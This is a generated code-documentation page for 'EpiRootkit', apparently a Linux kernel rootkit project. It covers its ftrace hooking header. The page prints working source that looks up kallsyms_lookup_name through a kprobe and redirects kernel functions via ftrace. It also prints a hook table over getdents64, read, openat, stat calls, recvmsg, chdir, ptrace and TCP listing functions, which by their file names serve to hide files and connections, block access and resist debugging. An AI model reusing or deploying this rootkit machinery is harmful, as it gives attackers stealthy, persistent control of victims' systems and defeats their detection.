EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
ftrace.h File Reference
#include <linux/file.h>
#include <linux/ftrace.h>
#include <linux/types.h>
Include dependency graph for ftrace.h:
This graph shows which files directly or indirectly include this file:

Go to the source code of this file.

Classes

struct  ftrace_hook
 

Macros

#define SYSCALL_NAME(name)   ("__x64_" name)
 
#define HOOK_SYS(_name, _hook, _orig)
 
#define HOOK(_name, _hook, _orig)
 

Functions

int fh_install_hook (struct ftrace_hook *hook)
 Install an individual ftrace hook.
 
void fh_remove_hook (struct ftrace_hook *hook)
 Remove an individual ftrace hook.
 
int fh_install_hooks (struct ftrace_hook *hooks, size_t count)
 Install multiple ftrace hooks.
 
void fh_remove_hooks (struct ftrace_hook *hooks, size_t count)
 Remove multiple ftrace hooks.
 

Variables

struct ftrace_hook hooks []
 
size_t hook_array_size
 
unsigned long(*)(const char *) fh_init_kallsyms_lookup (void)
 

Macro Definition Documentation

◆ HOOK

#define HOOK (   _name,
  _hook,
  _orig 
)
Value:
{ \
.name = (_name), \
.function = (_hook), \
.original = (_orig), \
}

Definition at line 24 of file ftrace.h.

24 { \
25 .name = (_name), \
26 .function = (_hook), \
27 .original = (_orig), \
28}

◆ HOOK_SYS

#define HOOK_SYS (   _name,
  _hook,
  _orig 
)
Value:
{ \
.name = SYSCALL_NAME(_name), \
.function = (_hook), \
.original = (_orig), \
}
#define SYSCALL_NAME(name)
Definition ftrace.h:17

Definition at line 18 of file ftrace.h.

18 { \
19 .name = SYSCALL_NAME(_name), \
20 .function = (_hook), \
21 .original = (_orig), \
22}

◆ SYSCALL_NAME

#define SYSCALL_NAME (   name)    ("__x64_" name)

Definition at line 17 of file ftrace.h.

Function Documentation

◆ fh_install_hook()

int fh_install_hook ( struct ftrace_hook hook)

Install an individual ftrace hook.

Parameters
hookPointer to an ftrace_hook structure.
Returns
0 on success, or a negative error code on failure.

Definition at line 58 of file ftrace.c.

58 {
59 int err;
60 unsigned long (*kallsyms_lookup)(const char *) = fh_init_kallsyms_lookup();
61
62 if (!kallsyms_lookup) {
63 ERR_MSG("ftrace: unable to get kallsyms_lookup_name pointer\n");
64 return -ENOENT;
65 }
66
67 hook->address = kallsyms_lookup(hook->name);
68 if (!hook->address) {
69 ERR_MSG("ftrace: unresolved symbol\n");
70 return -ENOENT;
71 }
72
73 *((unsigned long *)hook->original) = hook->address;
74
75 hook->ops.func = fh_ftrace_thunk;
76 hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_RECURSION | FTRACE_OPS_FL_IPMODIFY;
77
78 err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
79 if (err) {
80 ERR_MSG("ftrace: ftrace_set_filter_ip() failed.\n");
81 return err;
82 }
83
84 err = register_ftrace_function(&hook->ops);
85 if (err) {
86 ERR_MSG("ftrace: register_ftrace_function() failed.\n");
87 return err;
88 }
89 return 0;
90}
#define ERR_MSG(fmt, args...)
Definition config.h:16
static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct ftrace_regs *regs)
ftrace callback that redirects execution to the hook function.
Definition ftrace.c:44
unsigned long(*)(const char *) fh_init_kallsyms_lookup(void)
Retrieve the address of kallsyms_lookup_name via kprobe.
Definition ftrace.c:13
unsigned long address
Definition ftrace.h:13
const char * name
Definition ftrace.h:10
struct ftrace_ops ops
Definition ftrace.h:14
void * original
Definition ftrace.h:12

◆ fh_install_hooks()

int fh_install_hooks ( struct ftrace_hook hooks,
size_t  count 
)

Install multiple ftrace hooks.

Parameters
hooksPointer to an array of ftrace_hook structures.
countNumber of hooks in the array.
Returns
0 on success, or a negative error code on failure.

Definition at line 116 of file ftrace.c.

116 {
117 int err;
118 size_t i;
119 for (i = 0; i < count; i++) {
120 err = fh_install_hook(&hooks[i]);
121 if (err) {
122 while (i--)
124 return err;
125 }
126 }
127 return 0;
128}
struct ftrace_hook hooks[]
Definition array.c:6
void fh_remove_hook(struct ftrace_hook *hook)
Remove an individual ftrace hook.
Definition ftrace.c:97
int fh_install_hook(struct ftrace_hook *hook)
Install an individual ftrace hook.
Definition ftrace.c:58

◆ fh_remove_hook()

void fh_remove_hook ( struct ftrace_hook hook)

Remove an individual ftrace hook.

Parameters
hookPointer to an ftrace_hook structure.

Definition at line 97 of file ftrace.c.

97 {
98 int err;
99
100 err = unregister_ftrace_function(&hook->ops);
101 if (err)
102 ERR_MSG("ftrace: unregister_ftrace_function() failed.\n");
103
104 err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
105 if (err)
106 ERR_MSG("ftrace: ftrace_set_filter_ip() failed. \n");
107}

◆ fh_remove_hooks()

void fh_remove_hooks ( struct ftrace_hook hooks,
size_t  count 
)

Remove multiple ftrace hooks.

Parameters
hooksPointer to an array of ftrace_hook structures.
countNumber of hooks in the array.

Definition at line 136 of file ftrace.c.

136 {
137 size_t i;
138 for (i = 0; i < count; i++)
140}

Variable Documentation

◆ fh_init_kallsyms_lookup

unsigned long(*)(const char *) fh_init_kallsyms_lookup(void) ( void  )

Definition at line 33 of file ftrace.h.

◆ hook_array_size

size_t hook_array_size
extern

Definition at line 22 of file array.c.

◆ hooks

struct ftrace_hook hooks[]
extern

Definition at line 6 of file array.c.

6 {
7 HOOK_SYS("sys_getdents64", getdents64_hook, &__orig_getdents64),
8 HOOK_SYS("sys_read", read_hook, &__orig_read),
9 HOOK_SYS("sys_openat", openat_hook, &__orig_openat),
10 HOOK_SYS("sys_newfstatat", stat_hook, &__orig_newfstatat),
11 HOOK_SYS("sys_fstat", stat_hook, &__orig_fstat),
12 HOOK_SYS("sys_lstat", stat_hook, &__orig_lstat),
13 HOOK_SYS("sys_stat", stat_hook, &__orig_stat),
14 HOOK_SYS("sys_recvmsg", recvmsg_hook, &__orig_recvmsg),
15 HOOK_SYS("sys_chdir", chdir_hook, &__orig_chdir),
16 HOOK_SYS("sys_ptrace", ptrace_hook, &__orig_ptrace),
17
20};
asmlinkage long(* __orig_read)(const struct pt_regs *)
Definition alterate.c:6
asmlinkage long notrace read_hook(const struct pt_regs *regs)
Definition alterate.c:8
asmlinkage long(* __orig_chdir)(const struct pt_regs *regs)
Definition forbid.c:10
asmlinkage void notrace ptrace_hook(struct pt_regs *regs)
Definition forbid.c:73
asmlinkage long notrace chdir_hook(const struct pt_regs *regs)
Definition forbid.c:66
asmlinkage long(* __orig_openat)(const struct pt_regs *)
Definition forbid.c:5
asmlinkage long(* __orig_lstat)(const struct pt_regs *)
Definition forbid.c:7
asmlinkage long(* __orig_ptrace)(const struct pt_regs *regs)
Definition forbid.c:11
asmlinkage long(* __orig_newfstatat)(const struct pt_regs *)
Definition forbid.c:6
asmlinkage long notrace stat_hook(const struct pt_regs *regs)
Definition forbid.c:20
asmlinkage long(* __orig_fstat)(const struct pt_regs *)
Definition forbid.c:8
asmlinkage long(* __orig_stat)(const struct pt_regs *)
Definition forbid.c:9
asmlinkage long notrace openat_hook(const struct pt_regs *regs)
Definition forbid.c:13
#define HOOK(_name, _hook, _orig)
Definition ftrace.h:24
#define HOOK_SYS(_name, _hook, _orig)
Definition ftrace.h:18
asmlinkage long notrace recvmsg_hook(const struct pt_regs *regs)
Definition hide.c:156
asmlinkage int notrace getdents64_hook(const struct pt_regs *regs)
Definition hide.c:11
asmlinkage long(* __orig_tcp6_seq_show)(struct seq_file *seq, void *v)
Definition hide.c:8
asmlinkage long notrace tcp6_seq_show_hook(struct seq_file *seq, void *v)
Definition hide.c:144
asmlinkage long(* __orig_recvmsg)(const struct pt_regs *regs)
Definition hide.c:9
asmlinkage long notrace tcp4_seq_show_hook(struct seq_file *seq, void *v)
Definition hide.c:135
asmlinkage long(* __orig_tcp4_seq_show)(struct seq_file *seq, void *v)
Definition hide.c:7
asmlinkage int(* __orig_getdents64)(const struct pt_regs *regs)
Definition hide.c:6